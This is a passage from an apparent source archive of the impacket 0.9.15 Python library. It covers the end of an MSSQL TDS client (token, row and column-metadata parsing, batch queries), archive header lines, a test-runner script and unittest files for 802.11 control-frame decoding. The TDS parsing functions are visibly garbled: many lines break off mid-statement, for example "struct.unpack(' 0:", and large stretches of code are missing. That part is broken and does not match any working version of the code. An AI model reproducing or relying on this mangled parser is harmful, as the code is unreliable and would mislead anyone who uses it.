self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
LOG.error(error)
elif key['TokenType'] == TDS_INFO_TOKEN:
LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
LOG.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
if record['OldValue'] == '':
record['OldValue'] = 'None'.encode('utf-16le')
elif record['NewValue'] == '':
record['NewValue'] = 'None'.encode('utf-16le')
if key['Type'] == TDS_ENVCHANGE_DATABASE:
_type = 'DATABASE'
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
_type = 'LANGUAGE'
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
_type = 'CHARSET'
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
_type = 'PACKETSIZE'
else:
_type = "%d" % key['Type']
LOG.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
def parseRow(self,token,tuplemode=False):
# TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types
# help would be appreciated ;)
if len(token) == 1:
return 0
row = [] if tuplemode else {}
origDataLen = len(token['Data'])
data = token['Data']
for col in self.colMeta:
_type = col['Type']
if (_type == TDS_NVARCHARTYPE) |\
(_type == TDS_NCHARTYPE):
#print "NVAR 0x%x" % _type
charLen = struct.unpack(' 0:
uu = data[:uuidLen]
value = uuid.bin_to_string(uu)
data = data[uuidLen:]
else:
value = 'NULL'
elif (_type == TDS_NTEXTTYPE) |\
(_type == TDS_IMAGETYPE) :
# Skip the pointer data
charLen = ord(data[0])
if charLen == 0:
value = 'NULL'
data = data[1:]
else:
data = data[1+charLen+8:]
charLen = struct.unpack(' 0:
value = struct.unpack(fmt,data[:valueSize])[0]
data = data[valueSize:]
else:
value = 'NULL'
elif _type == TDS_MONEYNTYPE:
valueSize = ord(data[:1])
if valueSize == 4:
fmt = ' 0:
value = struct.unpack(fmt,data[:valueSize])[0]
if valueSize == 4:
value = float(value) / math.pow(10,4)
else:
value = float(value >> 32) / math.pow(10,4)
data = data[valueSize:]
else:
value = 'NULL'
elif _type == TDS_BIGCHARTYPE:
#print "BIGC"
charLen = struct.unpack(' 0:
dateBytes = data[:valueSize]
dateValue = struct.unpack(' 0:
isPositiveSign = ord(value[0])
if (valueLen-1) == 2:
fmt = ' 0:
if valueSize == 1:
value = ord(data[:valueSize])
else:
value = data[:valueSize]
else:
value = 'NULL'
data = data[valueSize:]
elif _type == TDS_INTNTYPE:
valueSize = ord(data[:1])
if valueSize == 1:
fmt = ' 0:
value = struct.unpack(fmt,data[:valueSize])[0]
data = data[valueSize:]
else:
value = 'NULL'
elif _type == TDS_SSVARIANTTYPE:
LOG.critical("ParseRow: SQL Variant type not yet supported :(")
raise
else:
LOG.critical("ParseROW: Unsupported data type: 0%x" % _type)
raise
if tuplemode:
row.append(value)
else:
row[col['Name']] = value
self.rows.append(row)
return origDataLen - len(data)
def parseColMetaData(self, token):
# TODO Add support for more data types!
count = token['Count']
if count == 0xFFFF:
return 0
self.colMeta = []
origDataLen = len(token['Data'])
data = token['Data']
for i in range(count):
column = {}
userType = struct.unpack(' 0:
tokenID = struct.unpack('B',tokens[0])[0]
if tokenID == TDS_ERROR_TOKEN:
token = TDS_INFO_ERROR(tokens)
elif tokenID == TDS_RETURNSTATUS_TOKEN:
token = TDS_RETURNSTATUS(tokens)
elif tokenID == TDS_INFO_TOKEN:
token = TDS_INFO_ERROR(tokens)
elif tokenID == TDS_LOGINACK_TOKEN:
token = TDS_LOGIN_ACK(tokens)
elif tokenID == TDS_ENVCHANGE_TOKEN:
token = TDS_ENVCHANGE(tokens)
if token['Type'] is TDS_ENVCHANGE_PACKETSIZE:
record = TDS_ENVCHANGE_VARCHAR(token['Data'])
self.packetSize = string.atoi( record['NewValue'].decode('utf-16le') )
elif token['Type'] is TDS_ENVCHANGE_DATABASE:
record = TDS_ENVCHANGE_VARCHAR(token['Data'])
self.currentDB = record['NewValue'].decode('utf-16le')
elif (tokenID == TDS_DONEINPROC_TOKEN) |\
(tokenID == TDS_DONEPROC_TOKEN):
token = TDS_DONEINPROC(tokens)
elif tokenID == TDS_ORDER_TOKEN:
token = TDS_ORDER(tokens)
elif tokenID == TDS_ROW_TOKEN:
#print "ROW"
token = TDS_ROW(tokens)
tokenLen = self.parseRow(token,tuplemode)
token['Data'] = token['Data'][:tokenLen]
elif tokenID == TDS_COLMETADATA_TOKEN:
#print "COLMETA"
token = TDS_COLMETADATA(tokens)
tokenLen = self.parseColMetaData(token)
token['Data'] = token['Data'][:tokenLen]
elif tokenID == TDS_DONE_TOKEN:
token = TDS_DONE(tokens)
else:
LOG.error("Unknown Token %x" % tokenID)
return replies
if replies.has_key(tokenID) is not True:
replies[tokenID] = list()
replies[tokenID].append(token)
tokens = tokens[len(token):]
#print "TYPE 0x%x, LEN: %d" %(tokenID, len(token))
#print repr(tokens[:10])
return replies
def batch(self, cmd,tuplemode=False,wait=True):
# First of all we clear the rows, colMeta and lastError
self.rows = []
self.colMeta = []
self.lastError = False
self.sendTDS(TDS_SQL_BATCH, (cmd+'\r\n').encode('utf-16le'))
if wait:
tds = self.recvTDS()
self.replies = self.parseReply(tds['Data'],tuplemode)
return self.rows
else:
return True
def batchStatement(self, cmd,tuplemode=False):
# First of all we clear the rows, colMeta and lastError
self.rows = []
self.colMeta = []
self.lastError = False
self.sendTDS(TDS_SQL_BATCH, (cmd+'\r\n').encode('utf-16le'))
#self.recvTDS()
# Handy alias
sql_query = batch
def changeDB(self, db):
if db != self.currentDB:
chdb = 'use %s' % db
self.batch(chdb)
self.printReplies()
def RunSQLQuery(self,db,sql_query,tuplemode=False,wait=True,**kwArgs):
db = db or 'master'
self.changeDB(db)
self.printReplies()
ret = self.batch(sql_query,tuplemode,wait)
if wait:
self.printReplies()
if self.lastError:
raise self.lastError
if self.lastError:
raise self.lastError
return ret
def RunSQLStatement(self,db,sql_query,wait=True,**kwArgs):
self.RunSQLQuery(db,sql_query,wait=wait)
if self.lastError:
raise self.lastError
return True
impacket-0.9.15/impacket/testcases/ 0000700 0000765 0000000 00000000000 12734532622 017241 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/testcases/dot11/ 0000700 0000765 0000000 00000000000 12734532622 020171 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/testcases/dot11/runalltestcases.bat 0000600 0000765 0000000 00000000060 12734531507 024074 0 ustar beto wheel 0000000 0000000
FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G impacket-0.9.15/impacket/testcases/dot11/runalltestcases.sh 0000700 0000765 0000000 00000001427 12734531507 023751 0 ustar beto wheel 0000000 0000000 #!/bin/bash
separator='======================================================================'
#ls *.py | xargs -I{} --max-args=1 bash -c "echo -e '$separator\nExecuting: {}\n';python {}"
#ls *.py | xargs --max-args=1 python
export PYTHONPATH=../../..:$PYTHONPATH
total=0
ok=0
failed=0
for file in `ls *.py` ; do
echo $separator
echo Executing $file
latest=$(
python $file 2>&1 | {
while read line; do
echo " $line" 1>&2
latest="$line"
done
echo $latest
}
)
#echo Latest ${latest}
result=${latest:0:6}
if [ "$result" = "FAILED" ]
then
(( failed++ ))
elif [ "$result" = "OK" ]
then
(( ok++ ))
else
echo "WARNING: Unknown result!!!!!"
(( failed++ ))
fi
(( total++ ))
done
echo $separator
echo Summary:
echo " OK $ok/$total"
echo " $failed FAILED"
impacket-0.9.15/impacket/testcases/dot11/test_Dot11Base.py 0000600 0000765 0000000 00000006631 12734531507 023276 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types
import unittest
class TestDot11Common(unittest.TestCase):
def setUp(self):
# Frame control field
a='\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e'
self.dot11fc=Dot11(a)
def test_01_HeaderSize(self):
'Test Header Size field'
self.assertEqual(self.dot11fc.get_header_size(), 2)
def test_01_TailSize(self):
'Test Tail Size field'
self.assertEqual(self.dot11fc.get_tail_size(), 4)
def test_02_Version(self):
'Test Version field'
self.assertEqual(self.dot11fc.get_version(), 0)
self.dot11fc.set_version(3)
self.assertEqual(self.dot11fc.get_version(), 3)
def test_03_Type(self):
'Test Type field'
self.assertEqual(self.dot11fc.get_type(), 1)
self.dot11fc.set_type(3)
self.assertEqual(self.dot11fc.get_type(), 3)
def test_04_SubType(self):
'Test Subtype field'
self.assertEqual(self.dot11fc.get_subtype(),13)
self.dot11fc.set_subtype(5)
self.assertEqual(self.dot11fc.get_subtype(),5)
def test_05_ToDS(self):
'Test toDS field'
self.assertEqual(self.dot11fc.get_toDS(),0)
self.dot11fc.set_toDS(1)
self.assertEqual(self.dot11fc.get_toDS(),1)
def test_06_FromDS(self):
'Test fromDS field'
self.assertEqual(self.dot11fc.get_fromDS(),0)
self.dot11fc.set_fromDS(1)
self.assertEqual(self.dot11fc.get_fromDS(),1)
def test_07_MoreFrag(self):
'Test More Frag field'
self.assertEqual(self.dot11fc.get_moreFrag(),0)
self.dot11fc.set_moreFrag(1)
self.assertEqual(self.dot11fc.get_moreFrag(),1)
def test_08_Retry(self):
'Test Retry field'
self.assertEqual(self.dot11fc.get_retry(),0)
self.dot11fc.set_retry(1)
self.assertEqual(self.dot11fc.get_retry(),1)
def test_09_PowerManagement(self):
'Test Power Management field'
self.assertEqual(self.dot11fc.get_powerManagement(),0)
self.dot11fc.set_powerManagement(1)
self.assertEqual(self.dot11fc.get_powerManagement(),1)
def test_10_MoreData(self):
'Test More Data field'
self.assertEqual(self.dot11fc.get_moreData(),0)
self.dot11fc.set_moreData(1)
self.assertEqual(self.dot11fc.get_moreData(),1)
# def test_11_WEP(self):
# 'Test WEP field'
# self.assertEqual(self.dot11fc.get_WEP(),0)
# self.dot11fc.set_WEP(1)
# self.assertEqual(self.dot11fc.get_WEP(),1)
def test_12_Order(self):
'Test Order field'
self.assertEqual(self.dot11fc.get_order(),0)
self.dot11fc.set_order(1)
self.assertEqual(self.dot11fc.get_order(),1)
def test_13_latest(self):
'Test complete frame hexs'
self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)
self.dot11fc.set_order(1)
self.dot11fc.set_moreData(1)
self.dot11fc.set_retry(1)
self.dot11fc.set_fromDS(1)
frame=self.dot11fc.get_packet()
self.assertEqual(frame, '\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e')
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Common)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_Dot11Decoder.py 0000600 0000765 0000000 00000004600 12734531507 023763 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from ImpactDecoder import Dot11Decoder #,Dot11Types
from binascii import hexlify
import unittest
class TestDot11Decoder(unittest.TestCase):
def setUp(self):
self.WEPKey=None #Unknown
self.WEPData='\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35'
dot11_decoder = Dot11Decoder()
self.in0=dot11_decoder.decode(self.WEPData)
self.in1=self.in0.child()
self.in2=self.in1.child()
self.in3=self.in2.child()
if self.WEPKey:
self.in4=self.in3.child()
self.in5=self.in4.child()
def test_01_Dot11Decoder(self):
'Test Dot11 decoder'
self.assertEqual(str(self.in0.__class__), "dot11.Dot11")
def test_02_Dot11DataFrameDecoder(self):
'Test Dot11DataFrame decoder'
self.assertEqual(str(self.in1.__class__), "dot11.Dot11DataFrame")
def test_03_Dot11WEP(self):
'Test Dot11WEP decoder'
self.assertEqual(str(self.in2.__class__), "dot11.Dot11WEP")
def test_04_Dot11WEPData(self):
'Test Dot11WEPData decoder'
if not self.WEPKey:
return
self.assertEqual(str(self.in3.__class__), "dot11.Dot11WEPData")
# Test if wep data "get_packet" is correct
wepdata='\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17'
self.assertEqual(self.in3.get_packet(),wepdata)
def test_05_LLC(self):
'Test LLC decoder'
if self.WEPKey:
self.assertEqual(str(self.in4.__class__), "dot11.LLC")
def test_06_Data(self):
'Test LLC Data decoder'
if self.WEPKey:
dataclass=self.in4.__class__
else:
dataclass=self.in3.__class__
self.assertTrue(str(dataclass).find('ImpactPacket.Data') > 0)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Decoder)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_Dot11HierarchicalUpdate.py 0000600 0000765 0000000 00000013511 12734531507 026140 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import ProtocolPacket
from ImpactPacket import ProtocolLayer, PacketBuffer
from binascii import hexlify
import unittest
class TestPacket(ProtocolPacket):
def __init__(self, aBuffer = None):
header_size = 7
tail_size = 5
ProtocolPacket.__init__(self, header_size,tail_size)
if(aBuffer):
self.load_packet(aBuffer)
class TestDot11HierarchicalUpdate(unittest.TestCase):
def setUp(self):
self.rawpacket1 = "" \
"Header1"\
"Body1"\
"Tail1"
self.rawpacket2 = "" \
"Header2"+\
self.rawpacket1+ \
"Tail2"
self.rawpacket3 = "" \
"Header3"+\
self.rawpacket2+ \
"Tail3"
self.packet1=TestPacket(self.rawpacket1)
self.packet2=TestPacket(self.rawpacket2)
self.packet2.contains(self.packet1)
self.packet3=TestPacket(self.rawpacket3)
self.packet3.contains(self.packet2)
def test_01_StartupPacketsStringTest(self):
"ProtocolPacket - get_packet initial string test"
self.assertEqual(self.packet1.get_packet(), "Header1Body1Tail1")
self.assertEqual(self.packet2.get_packet(), "Header2Header1Body1Tail1Tail2")
self.assertEqual(self.packet3.get_packet(), "Header3Header2Header1Body1Tail1Tail2Tail3")
def test_02_StartupPacketsSizeTest(self):
"ProtocolPacket - Initial size getters test"
self.assertEqual(self.packet1.get_size(), 7+5+5)
self.assertEqual(self.packet1.get_header_size(), 7)
self.assertEqual(self.packet1.get_body_size(), 5)
self.assertEqual(self.packet1.get_tail_size(), 5)
self.assertEqual(self.packet2.get_size(), 7+ (7+5+5) + 5)
self.assertEqual(self.packet2.get_header_size(), 7)
self.assertEqual(self.packet2.get_body_size(), 7+5+5)
self.assertEqual(self.packet2.get_tail_size(), 5)
self.assertEqual(self.packet3.get_size(), 7+ (7+ (7+5+5) +5) +5 )
self.assertEqual(self.packet3.get_header_size(), 7)
self.assertEqual(self.packet3.get_body_size(), 7+ 7+5+5 +5)
self.assertEqual(self.packet3.get_tail_size(), 5)
def test_03_ChildModificationTest(self):
"ProtocolPacket - get_packet hierarchical update test"
self.packet1.load_body("**NewBody**")
self.assertEqual(self.packet1.get_packet(), "Header1**NewBody**Tail1")
self.assertEqual(self.packet2.get_packet(), "Header2Header1**NewBody**Tail1Tail2")
self.assertEqual(self.packet3.get_packet(), "Header3Header2Header1**NewBody**Tail1Tail2Tail3")
def test_04_ChildModificationTest(self):
"ProtocolPacket - size getters hierarchical update test"
self.packet1.load_body("**NewBody**")
#self.packet1 => "Header1**NewBody**Tail1"
#self.packet2 => "Header2Header1**NewBody**Tail1Tail2"
#self.packet3 => "Header3Header2Header1**NewBody**Tail1Tail2Tail3"
self.assertEqual(self.packet1.get_size(), 7+11+5 )
self.assertEqual(self.packet1.get_header_size(), 7)
self.assertEqual(self.packet1.get_body_size(), 11)
self.assertEqual(self.packet1.get_tail_size(), 5)
self.assertEqual(self.packet2.get_size(), 7+ (7+11+5) +5 )
self.assertEqual(self.packet2.get_header_size(), 7)
self.assertEqual(self.packet2.get_body_size(), 7+11+5)
self.assertEqual(self.packet2.get_tail_size(), 5)
self.assertEqual(self.packet3.get_size(), 7+ (7+ (7+11+5) +5) +5 )
self.assertEqual(self.packet3.get_header_size(), 7)
self.assertEqual(self.packet3.get_body_size(), 7+ (7+11+5) +5)
self.assertEqual(self.packet3.get_tail_size(), 5)
def test_05_ChildModificationTest(self):
"ProtocolPacket - body packet hierarchical update test"
self.packet1.load_body("**NewBody**")
self.assertEqual(self.packet1.body.get_buffer_as_string(), "**NewBody**")
self.assertEqual(self.packet2.body.get_buffer_as_string(), "Header1**NewBody**Tail1")
self.assertEqual(self.packet3.body.get_buffer_as_string(), "Header2Header1**NewBody**Tail1Tail2")
def test_06_ChildModificationTest(self):
"ProtocolPacket - get_body_as_string packet hierarchical update test"
self.packet1.load_body("**NewBody**")
self.assertEqual(self.packet1.get_body_as_string(), "**NewBody**")
self.assertEqual(self.packet2.get_body_as_string(), "Header1**NewBody**Tail1")
self.assertEqual(self.packet3.get_body_as_string(), "Header2Header1**NewBody**Tail1Tail2")
def test_07_ChildModificationTest(self):
"ProtocolPacket - load_body child hierarchy update test"
self.assertEqual(self.packet1.parent(), self.packet2)
self.assertEqual(self.packet2.parent(), self.packet3)
self.assertEqual(self.packet3.child(), self.packet2)
self.assertEqual(self.packet2.child(), self.packet1)
self.packet2.load_body("Header1**NewBody**Tail1")
self.assertEqual(self.packet1.parent(), None)
self.assertEqual(self.packet2.parent(), self.packet3)
self.assertEqual(self.packet3.child(), self.packet2)
self.assertEqual(self.packet2.child(), None)
self.assertEqual(self.packet1.body.get_buffer_as_string(), "Body1")
self.assertEqual(self.packet2.body.get_buffer_as_string(), "Header1**NewBody**Tail1")
self.assertEqual(self.packet3.body.get_buffer_as_string(), "Header2Header1**NewBody**Tail1Tail2")
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11HierarchicalUpdate)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameControlACK.py 0000600 0000765 0000000 00000003407 12734531507 024523 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11ControlFrameACK
from binascii import hexlify
import unittest
class TestDot11FrameControlACK(unittest.TestCase):
def setUp(self):
# 802.11 Control Frame ACK
self.frame_orig='\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e'
d = Dot11(self.frame_orig)
type = d.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
subtype = d.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT)
typesubtype = d.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT)
self.ack = Dot11ControlFrameACK(d.get_body_as_string())
d.contains(self.ack)
def test_01_HeaderTailSize(self):
'Test Header and Tail Size field'
self.assertEqual(self.ack.get_header_size(), 8)
self.assertEqual(self.ack.get_tail_size(), 0)
def test_02_Duration(self):
'Test Duration field'
self.assertEqual(self.ack.get_duration(), 0)
self.ack.set_duration(0x1234)
self.assertEqual(self.ack.get_duration(), 0x1234)
def test_03_RA(self):
'Test RA field'
ra=self.ack.get_ra()
self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
ra[0]=0x12
ra[5]=0x34
self.ack.set_ra(ra)
self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlACK)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameControlCFEnd.py 0000600 0000765 0000000 00000004221 12734531507 025037 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd
from binascii import hexlify
import unittest
class TestDot11FrameControlCFEnd(unittest.TestCase):
def setUp(self):
# 802.11 Control Frame CFEnd
self.frame_orig='\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0'
d = Dot11(self.frame_orig)
type = d.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
subtype = d.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END)
typesubtype = d.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END)
self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string())
d.contains(self.cfend)
def test_01_HeaderTailSize(self):
'Test Header and Tail Size field'
self.assertEqual(self.cfend.get_header_size(), 14)
self.assertEqual(self.cfend.get_tail_size(), 0)
def test_02_Duration(self):
'Test Duration field'
self.assertEqual(self.cfend.get_duration(), 0x00)
self.cfend.set_duration(0x1234)
self.assertEqual(self.cfend.get_duration(), 0x1234)
def test_03_RA(self):
'Test RA field'
ra=self.cfend.get_ra()
self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff])
ra[0]=0x12
ra[5]=0x34
self.cfend.set_ra(ra)
self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34])
def test_04_BSSID(self):
'Test BSS ID field'
bssid=self.cfend.get_bssid()
self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])
bssid[0]=0x12
bssid[5]=0x34
self.cfend.set_bssid(bssid)
self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEnd)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameControlCFEndCFACK.py 0000600 0000765 0000000 00000004374 12734531507 025600 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK
from binascii import hexlify
import unittest
class TestDot11FrameControlCFEndCFACK(unittest.TestCase):
def setUp(self):
# 802.11 Control Frame CFEndCFACK
self.frame_orig='\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00'
d = Dot11(self.frame_orig)
type = d.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
subtype = d.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK)
typesubtype = d.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK)
self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string())
d.contains(self.cfendcfack)
def test_01_HeaderTailSize(self):
'Test Header and Tail Size field'
self.assertEqual(self.cfendcfack.get_header_size(), 14)
self.assertEqual(self.cfendcfack.get_tail_size(), 0)
def test_02_Duration(self):
'Test Duration field'
self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE)
self.cfendcfack.set_duration(0x1234)
self.assertEqual(self.cfendcfack.get_duration(), 0x1234)
def test_03_RA(self):
'Test RA field'
ra=self.cfendcfack.get_ra()
self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b])
ra[0]=0x12
ra[5]=0x34
self.cfendcfack.set_ra(ra)
self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34])
def test_04_BSSID(self):
'Test BSS ID field'
bssid=self.cfendcfack.get_bssid()
self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a])
bssid[0]=0x12
bssid[5]=0x34
self.cfendcfack.set_bssid(bssid)
self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34])
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEndCFACK)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameControlCTS.py 0000600 0000765 0000000 00000003434 12734531507 024556 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS
from binascii import hexlify
import unittest
class TestDot11FrameControlCTS(unittest.TestCase):
def setUp(self):
# 802.11 Control Frame CTS
self.frame_orig='\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17'
d = Dot11(self.frame_orig)
type = d.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
subtype = d.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND)
typesubtype = d.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND)
self.cts = Dot11ControlFrameCTS(d.get_body_as_string())
d.contains(self.cts)
def test_01_HeaderTailSize(self):
'Test Header and Tail Size field'
self.assertEqual(self.cts.get_header_size(), 8)
self.assertEqual(self.cts.get_tail_size(), 0)
def test_02_Duration(self):
'Test Duration field'
self.assertEqual(self.cts.get_duration(), 4667)
self.cts.set_duration(0x1234)
self.assertEqual(self.cts.get_duration(), 0x1234)
def test_03_RA(self):
'Test RA field'
ra=self.cts.get_ra()
self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])
ra[0]=0x12
ra[5]=0x34
self.cts.set_ra(ra)
self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCTS)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameControlPSPoll.py 0000600 0000765 0000000 00000004233 12734531507 025274 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll
from binascii import hexlify
import unittest
class TestDot11FrameControlPSPoll(unittest.TestCase):
def setUp(self):
# 802.11 Control Frame PSPoll
self.frame_orig='\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f'
d = Dot11(self.frame_orig)
type = d.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
subtype = d.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL)
typesubtype = d.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)
self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string())
d.contains(self.pspoll)
def test_01_HeaderTailSize(self):
'Test Header and Tail Size field'
self.assertEqual(self.pspoll.get_header_size(), 14)
self.assertEqual(self.pspoll.get_tail_size(), 0)
def test_02_AID(self):
'Test AID field'
self.assertEqual(self.pspoll.get_aid(), 0xAFF1)
self.pspoll.set_aid(0x1234)
self.assertEqual(self.pspoll.get_aid(), 0x1234)
def test_03_BSSID(self):
'Test BSS ID field'
bssid=self.pspoll.get_bssid()
self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9])
bssid[0]=0x12
bssid[5]=0x34
self.pspoll.set_bssid(bssid)
self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34])
def test_04_TA(self):
'Test TA field'
ta=self.pspoll.get_ta()
self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a])
ta[0]=0x12
ta[5]=0x34
self.pspoll.set_ta(ta)
self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34])
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlPSPoll)
unittest.TextTestRunner(verbosity=2).run(suite)
